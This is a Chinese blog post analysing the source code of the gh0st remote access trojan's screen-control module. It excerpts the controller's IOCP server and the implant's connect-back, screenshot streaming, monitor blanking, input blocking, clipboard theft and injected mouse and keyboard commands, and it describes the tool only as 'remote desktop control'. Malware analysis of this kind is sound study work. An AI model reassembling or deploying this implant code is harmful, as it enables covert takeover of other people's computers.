gh0st 远程桌面控制源码分析

远程主机流程图:

 

客户机流程图:

 

 


CGh0stApp theApp; 唯一的实例在初始化中调用了主框架的 Activate 函数:
BOOL CGh0stApp::InitInstance()
{
  ((CMainFrame*) m_pMainWnd)->Activate(nPort, nMaxConnection);
}

Activate 函数构造了一个  CIOCPServer 对象,然后调用 Initialize 函数初始化:
void CMainFrame::Activate(UINT nPort, UINT nMaxConnections)
{
  m_iocpServer = new CIOCPServer;
  m_iocpServer->Initialize(NotifyProc, this, 100000, nPort)
}

Initialize 注册了一个回调函数 m_pNotifyProc ,创建了一个监听套接字,一个监听线程 ListenThreadProc ,然后初始化 IOCP 服务端
bool CIOCPServer::Initialize(NOTIFYPROC pNotifyProc, CMainFrame* pFrame, int nMaxConnections, int nPort)
{
 m_pNotifyProc = pNotifyProc;
 m_socListen = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, WSA_FLAG_OVERLAPPED);
 nRet = bind(m_socListen, (LPSOCKADDR)&saServer, sizeof(struct sockaddr));
 nRet = listen(m_socListen, SOMAXCONN);
 m_hThread =(HANDLE)_beginthreadex(NULL,0,ListenThreadProc,(void*) this,0,&dwThreadId);
 InitializeIOCP();
}

IOCP 注册的回调函数 NotifyProc ,
收到 NC_CLIENT_DISCONNECT 就从客户列表视图移除,
收到 NC_RECEIVE 调用 ProcessReceive 函数,
收到 NC_RECEIVE_COMPLETE 调用 ProcessReceiveComplete 函数
void CALLBACK CMainFrame::NotifyProc(LPVOID lpParam, ClientContext *pContext, UINT nCode)
{
  switch (nCode)
  {
  case NC_CLIENT_CONNECT:
   break;
  case NC_CLIENT_DISCONNECT:
   g_pConnectView->PostMessage(WM_REMOVEFROMLIST, 0, (LPARAM)pContext);
   break;
  case NC_TRANSMIT:
   break;
  case NC_RECEIVE:
   ProcessReceive(pContext);
   break;
  case NC_RECEIVE_COMPLETE:
   ProcessReceiveComplete(pContext);
   break;
  }
}

void CMainFrame::ProcessReceive(ClientContext *pContext)
{
 if (pContext == NULL)
  return;
 // 如果管理对话框打开,交给相应的对话框处理
 CDialog *dlg = (CDialog *)pContext->m_Dialog[1];
 // 交给窗口处理
 if (pContext->m_Dialog[0] > 0)
 {
  switch (pContext->m_Dialog[0])
  {
  case SCREENSPY_DLG:
   ((CScreenSpyDlg *)dlg)->OnReceive();
   break;
  default:
   break;
  }
  return;
 }
}

void CMainFrame::ProcessReceiveComplete(ClientContext *pContext)
{
 if (pContext == NULL)
  return;

 // 如果管理对话框打开,交给相应的对话框处理
 CDialog *dlg = (CDialog *)pContext->m_Dialog[1];
 
 // 交给窗口处理
 if (pContext->m_Dialog[0] > 0)
 {
  switch (pContext->m_Dialog[0])
  {
  case SCREENSPY_DLG:
   ((CScreenSpyDlg *)dlg)->OnReceiveComplete();
   break;
  default:
   break;
  }
  return;
 }

 switch (pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
 {
 case TOKEN_AUTH: // 要求验证
  m_iocpServer->Send(pContext, (PBYTE)m_PassWord.GetBuffer(0), m_PassWord.GetLength() + 1);
  break;
 case TOKEN_HEARTBEAT: // 回复心跳包
  {
   BYTE bToken = COMMAND_REPLAY_HEARTBEAT;
   m_iocpServer->Send(pContext, (LPBYTE)&bToken, sizeof(bToken));
  }

   break;
 case TOKEN_LOGIN: // 上线包

  {
   if (m_iocpServer->m_nMaxConnections <= g_pConnectView->GetListCtrl().GetItemCount())
   {
    closesocket(pContext->m_Socket);
   }
   else
   {
    pContext->m_bIsMainSocket = true;
    g_pConnectView->PostMessage(WM_ADDTOLIST, 0, (LPARAM)pContext);
   }
   // 激活
   BYTE bToken = COMMAND_ACTIVED;
   m_iocpServer->Send(pContext, (LPBYTE)&bToken, sizeof(bToken));
  }

  break;
 case TOKEN_BITMAPINFO: //
  // 指接调用public函数非模态对话框会失去反应, 不知道怎么回事
  g_pConnectView->PostMessage(WM_OPENSCREENSPYDIALOG, 0, (LPARAM)pContext);
  break;
  // 命令停止当前操作
 default:
  closesocket(pContext->m_Socket);
  break;
 } 
}

现在从客户连接列表右键弹出菜单,选择“屏幕控制”选项开始。

 ON_COMMAND(IDM_SCREENSPY, OnScreenspy)

void CGh0stView::OnScreenspy()
{
 BYTE bToken = COMMAND_SCREEN_SPY;
 SendSelectCommand(&bToken, sizeof(BYTE));
}

void CGh0stView::SendSelectCommand(PBYTE pData, UINT nSize)
{
 ClientContext* pContext = (ClientContext*)m_pListCtrl->GetItemData(nItem);
 m_iocpServer->Send(pContext, pData, nSize);
}

void CIOCPServer::Send(ClientContext* pContext, LPBYTE lpData, UINT nSize)
{
 //使用zlib压缩数据
 //构造包头 'G' 'h' '0' 's' 't' | PacketLen | UnZipLen
 //填充压缩后的数据
 OVERLAPPEDPLUS * pOverlap = new OVERLAPPEDPLUS(IOWrite);
 PostQueuedCompletionStatus(m_hCompletionPort, 0, (DWORD) pContext, &pOverlap->m_ol);
}

IOCP 的线程函数收到发送过来的消息,将这个消息映射到函数 IO_MESSAGE_HANDLER(IOWrite, OnClientWriting)
unsigned CIOCPServer::ThreadPoolFunc (LPVOID thisContext)
{
 pThis->ProcessIOMessage(pOverlapPlus->m_ioType, lpClientContext, dwIoSize);
}

bool CIOCPServer::OnClientWriting(ClientContext* pContext, DWORD dwIoSize)
{
 OVERLAPPEDPLUS * pOverlap = new OVERLAPPEDPLUS(IOWrite);
 m_pNotifyProc((LPVOID) m_pFrame, pContext, NC_TRANSMIT); //表示正在传输,无实际意义
 int nRetVal = WSASend(pContext->m_Socket,  //发送命令到客户机
 &pContext->m_wsaOutBuffer,
 1,
 &pContext->m_wsaOutBuffer.len,
 ulFlags,
 &pOverlap->m_ol,
 NULL);
}

客户机收到命令后回复主机已经准备好,ThreadPoolFunc 收到消息做好读操作

IO_MESSAGE_HANDLER(IORead, OnClientReading)

bool CIOCPServer::OnClientReading(ClientContext* pContext, DWORD dwIoSize)
{
 //验证数据包格式
 //zlib解压缩数据
 //通知主框架接收完成
m_pNotifyProc((LPVOID) m_pFrame, pContext, NC_RECEIVE_COMPLETE);
}

void CALLBACK CMainFrame::NotifyProc 函数响应操作,调用 ProcessReceiveComplete 函数,
case TOKEN_BITMAPINFO: 响应操作
g_pConnectView->PostMessage(WM_OPENSCREENSPYDIALOG, 0, (LPARAM)pContext);
ON_MESSAGE(WM_OPENSCREENSPYDIALOG, OnOpenScreenSpyDialog)
gh0stView 收到消息,转到 OnOpenScreenSpyDialog 函数处理

LRESULT CGh0stView::OnOpenScreenSpyDialog(WPARAM wParam, LPARAM lParam)
{
  //创建了一个 CScreenSpyDlg 的非模式对话框
 CScreenSpyDlg *dlg = new CScreenSpyDlg(this, m_iocpServer, pContext);
}

服务端不停地收到客户机发过来的数据,IOCP 接收线程产生 NC_RECEIVE 消息,CMainFrame::NotifyProc 处理,调用 ProcessReceive
显示帧数和进度  //192.168.1.101 800 * 600 第1532帧 100%

NC_RECEIVE_COMPLETE 消息调用 ProcessReceiveComplete 函数处理
((CScreenSpyDlg *)dlg)->OnReceiveComplete();

void CScreenSpyDlg::OnReceiveComplete()
{
 //画图像
}

CScreenSpyDlg 重载 CDialog 的虚函数 PreTranslateMessage(MSG* pMsg) ,处理鼠标键盘事件
BOOL CScreenSpyDlg::PreTranslateMessage(MSG* pMsg)
{

 #define MAKEDWORD(h,l)        (((unsigned long)h << 16) | l)

 CRect rect;
 GetClientRect(&rect);

 switch (pMsg->message)
 {
 case WM_LBUTTONDOWN:
 case WM_LBUTTONUP:
 case WM_RBUTTONDOWN:
 case WM_RBUTTONUP:
 case WM_MOUSEMOVE:
 case WM_LBUTTONDBLCLK:
 case WM_RBUTTONDBLCLK:
 case WM_MBUTTONDOWN:
 case WM_MBUTTONUP:
 case WM_MOUSEWHEEL:
  {
   MSG msg;
   memcpy(&msg, pMsg, sizeof(MSG));
   msg.lParam = MAKEDWORD(HIWORD(pMsg->lParam) + m_VScrollPos, LOWORD(pMsg->lParam) + m_HScrollPos);
   msg.pt.x += m_HScrollPos;
   msg.pt.y += m_VScrollPos;
   SendCommand(&msg);
  }
  break;
   case WM_KEYDOWN:
   case WM_KEYUP:
 case WM_SYSKEYDOWN:
 case WM_SYSKEYUP:
   if (pMsg->wParam != VK_LWIN && pMsg->wParam != VK_RWIN)
  {
   MSG msg;
   memcpy(&msg, pMsg, sizeof(MSG));
   msg.lParam = MAKEDWORD(HIWORD(pMsg->lParam) + m_VScrollPos, LOWORD(pMsg->lParam) + m_HScrollPos);
   msg.pt.x += m_HScrollPos;
   msg.pt.y += m_VScrollPos;
   SendCommand(&msg);
  }
  if (pMsg->wParam == VK_RETURN || pMsg->wParam == VK_ESCAPE)
   return true;
  break;
 default:
  break;
 }

 return CDialog::PreTranslateMessage(pMsg);
}

SendCommand 发送控制命令  COMMAND_SCREEN_CONTROL ,带上实际的消息数据到客户机
void CScreenSpyDlg::SendCommand(MSG* pMsg)
{
 if (!m_bIsCtrl)
  return;

 LPBYTE lpData = new BYTE[sizeof(MSG) + 1];
 lpData[0] = COMMAND_SCREEN_CONTROL;
 memcpy(lpData + 1, pMsg, sizeof(MSG));
 m_iocpServer->Send(m_pContext, lpData, sizeof(MSG) + 1);

 delete[] lpData;
}

 

-----------------------------------------------------------------------------

 

客户端主函数:

创建一个 CClientSocket 对象,一个 CKernelManager 对象,关联 socketClient 到 manager

int main(int argc, char **argv)
{
 CClientSocket socketClient;
 socketClient.Connect(lpszHost, dwPort);
 CKernelManager manager(&socketClient, strServiceName, g_dwServiceType, strKillEvent, lpszHost, dwPort);
 socketClient.setManagerCallBack(&manager);
}

class CKernelManager : public CManager
{
 public:
 virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);
}

OnReceive 函数是个虚函数

Connect 函数连接到服务器,同时创建了一个工作线程 WorkThread,
bool CClientSocket::Connect(LPCTSTR lpszHost, UINT nPort)
{
 connect(m_Socket, (SOCKADDR *)&ClientAddr, sizeof(ClientAddr))
 m_hWorkerThread = (HANDLE)MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, (LPVOID)this, 0, NULL, true);
}

WorkThread 接受数据,调用 OnRead 成员函数处理数据,

DWORD WINAPI CClientSocket::WorkThread(LPVOID lparam)
{
 int nSize = recv(pThis->m_Socket, buff, sizeof(buff), 0);
 if (nSize > 0) pThis->OnRead((LPBYTE)buff, nSize);
}

OnRead 函数核查数据,转交给成员对象 m_pManager 处理,
void CClientSocket::OnRead( LPBYTE lpBuffer, DWORD dwIoSize )
{
 m_pManager->OnReceive(m_DeCompressionBuffer.GetBuffer(0), m_DeCompressionBuffer.GetBufferLen());
}

class CClientSocket
{
 private:
 CManager *m_pManager;
}

m_pManager 是CClientSocket 的一个私有成员函数指针,指向 CManager,
 socketClient.setManagerCallBack(&manager);
这句代码设置 m_pManager 指向 CKernelManager 的对象,由于 CKernelManager 重新定义了 OnReceive 虚函数,
所以 m_pManager->OnReceive 实际上调用了 CKernelManager 的 OnReceive


void CKernelManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
 switch (lpBuffer[0])
 {
 case COMMAND_ACTIVED:
  InterlockedExchange((LONG *)&m_bIsActived, true);
  break;
 case COMMAND_SCREEN_SPY: // 屏幕查看
   m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ScreenManager,
    (LPVOID)m_pClient->m_Socket, 0, NULL, true);
  break;
 case COMMAND_REPLAY_HEARTBEAT: // 回复心跳包
  break;
 }
}

Loop_ScreenManager 创建了一个 CClientSocket 对象,连接到远程主机,然后创建了一个 CScreenManager 对象,关联到 socketClient

DWORD WINAPI Loop_ScreenManager(SOCKET sRemote)
{
 CClientSocket socketClient;
 if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
  return -1;
 
 CScreenManager manager(&socketClient);

 socketClient.run_event_loop();
 return 0;
}

CScreenManager 构造函数创建了 2 个 工作线程

CScreenManager::CScreenManager(CClientSocket *pClient):CManager(pClient)
{
 m_hWorkThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL, true);
 m_hBlankThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ControlThread, this, 0, NULL, true);
}

WorkThread 这个工作线程做的工作就是首先发送一个 TOKEN_BITMAPINFO 类型的数据包,
远程主机收到这个包后,CMainFrame::NotifyProc 函数响应,调用 ProcessReceiveComplete 函数,
case TOKEN_BITMAPINFO: 响应操作
g_pConnectView->PostMessage(WM_OPENSCREENSPYDIALOG, 0, (LPARAM)pContext);
自定义窗口消息被传到 gh0stView,CGh0stView::OnOpenScreenSpyDialog 函数被调用,此时一个 CScreenSpyDlg 对象被创建。
然后做的工作就是不停地发送桌面位图到远程主机,

DWORD WINAPI CScreenManager::WorkThread(LPVOID lparam)
{
 CScreenManager *pThis = (CScreenManager *)lparam;

 pThis->sendBITMAPINFO();
 // 等控制端对话框打开

 pThis->WaitForDialogOpen();

 pThis->sendFirstScreen();
 try // 控制端强制关闭时会出错
    {
  while (pThis->m_bIsWorking)
   pThis->sendNextScreen();
 }catch(...){};

 return 0;
}

ControlThread 函数的主要目的是让客户机一直让显示器省电,黑屏

DWORD WINAPI CScreenManager::ControlThread(LPVOID lparam)
{
 if (pThis->m_bIsBlankScreen)
 {
  SystemParametersInfo(SPI_SETPOWEROFFACTIVE, 1, NULL, 0);
  SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)2);
  bIsScreenBlanked = true;
 }
}

下面看客户端和服务器端是怎么进行屏幕控制的

回到 Loop_ScreenManager 函数,有一句代码 CScreenManager manager(&socketClient);

class CScreenManager : public CManager

CScreenManager 首先调用基类的构造函数 CManager(pClient)
CManager 和 CClientSocket 是友元类,CManager 构造函数设置成员函数指针 m_pClient指向传进来的 pClient,同时设置 CClientSocket
的成员函数指针 m_pManager 指向自己 this

CManager::CManager(CClientSocket *pClient)
{
 m_pClient = pClient;
 m_pClient->setManagerCallBack(this);
}
void CClientSocket::setManagerCallBack( CManager *pManager )
{
 m_pManager = pManager;
}


CScreenManager 重新定义了 CManager 的虚函数 OnReceive,当 CClientSocket 对象的线程函数收到数据包时候,
DWORD WINAPI CClientSocket::WorkThread(LPVOID lparam) 会调用
pThis->OnRead((LPBYTE)buff, nSize); OnRead 会调用
m_pManager->OnReceive(m_DeCompressionBuffer.GetBuffer(0), m_DeCompressionBuffer.GetBufferLen());

void CScreenManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
 try
 {
   switch (lpBuffer[0])
   {
  case COMMAND_NEXT:
   // 通知内核远程控制端对话框已打开,WaitForDialogOpen可以返回
   NotifyDialogIsOpen();
   break;
  case COMMAND_SCREEN_RESET:
   ResetScreen(*(LPBYTE)&lpBuffer[1]);
   break;
  case COMMAND_ALGORITHM_RESET:
   m_bAlgorithm = *(LPBYTE)&lpBuffer[1];
   m_pScreenSpy->setAlgorithm(m_bAlgorithm);
   break;
  case COMMAND_SCREEN_CTRL_ALT_DEL:
   ::SimulateCtrlAltDel();
   break;
  case COMMAND_SCREEN_CONTROL:
   {
    // 远程仍然可以操作
    BlockInput(false);
    ProcessCommand(lpBuffer + 1, nSize - 1);
    BlockInput(m_bIsBlockInput);
   }
   break;
  case COMMAND_SCREEN_BLOCK_INPUT: //ControlThread里锁定
   m_bIsBlockInput = *(LPBYTE)&lpBuffer[1];
   break;
  case COMMAND_SCREEN_BLANK:
   m_bIsBlankScreen = *(LPBYTE)&lpBuffer[1];
   break;
  case COMMAND_SCREEN_CAPTURE_LAYER:
   m_bIsCaptureLayer = *(LPBYTE)&lpBuffer[1];
   m_pScreenSpy->setCaptureLayer(m_bIsCaptureLayer);
   break;
  case COMMAND_SCREEN_GET_CLIPBOARD:
   SendLocalClipboard();
   break;
  case COMMAND_SCREEN_SET_CLIPBOARD:
   UpdateLocalClipboard((char *)lpBuffer + 1, nSize - 1);
   break;
  default:
   break;
  }
 }catch(...){}
}

服务端发送的鼠标键盘事件由  ProcessCommand 函数处理,此函数的功能就是切换到当前桌面,模拟鼠标键盘输入
SwitchInputDesktop()是自定义函数
void CScreenManager::ProcessCommand( LPBYTE lpBuffer, UINT nSize )
{
 // 数据包不合法
 if (nSize % sizeof(MSG) != 0)
  return;

 SwitchInputDesktop();

 // 命令个数
 int nCount = nSize / sizeof(MSG);

 // 处理多个命令
 for (int i = 0; i < nCount; i++)
 {
  MSG *pMsg = (MSG *)(lpBuffer + i * sizeof(MSG));
  switch (pMsg->message)
  {
   case WM_LBUTTONDOWN:
   case WM_LBUTTONUP:
   case WM_RBUTTONDOWN:
   case WM_RBUTTONUP:
   case WM_MOUSEMOVE:
   case WM_LBUTTONDBLCLK:
   case WM_RBUTTONDBLCLK:
   case WM_MBUTTONDOWN:
   case WM_MBUTTONUP:
    {
     POINT point;
     point.x = LOWORD(pMsg->lParam);
     point.y = HIWORD(pMsg->lParam);
     SetCursorPos(point.x, point.y);
     SetCapture(WindowFromPoint(point));
    }
    break;
   default:
    break;
  }

  switch(pMsg->message)
  {
   case WM_LBUTTONDOWN:
    mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
    break;
   case WM_LBUTTONUP:
    mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
    break;
   case WM_RBUTTONDOWN:
    mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0);
    break;
   case WM_RBUTTONUP:
    mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
    break;
    case WM_LBUTTONDBLCLK:
    mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
    mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
     break;
    case WM_RBUTTONDBLCLK:
     mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
    mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
     break;
   case WM_MBUTTONDOWN:
    mouse_event(MOUSEEVENTF_MIDDLEDOWN, 0, 0, 0, 0);
     break;
   case WM_MBUTTONUP:
    mouse_event(MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
    break;
   case WM_MOUSEWHEEL:
    mouse_event(MOUSEEVENTF_WHEEL, 0, 0, GET_WHEEL_DELTA_WPARAM(pMsg->wParam), 0);
    break;
   case WM_KEYDOWN:
   case WM_SYSKEYDOWN:
    keybd_event(pMsg->wParam, MapVirtualKey(pMsg->wParam, 0), 0, 0);
    break; 
   case WM_KEYUP:
   case WM_SYSKEYUP:
    keybd_event(pMsg->wParam, MapVirtualKey(pMsg->wParam, 0), KEYEVENTF_KEYUP, 0);
    break;
   default:
    break;
  }
 }
}

你可能感兴趣的:(gh0st 远程桌面控制源码分析)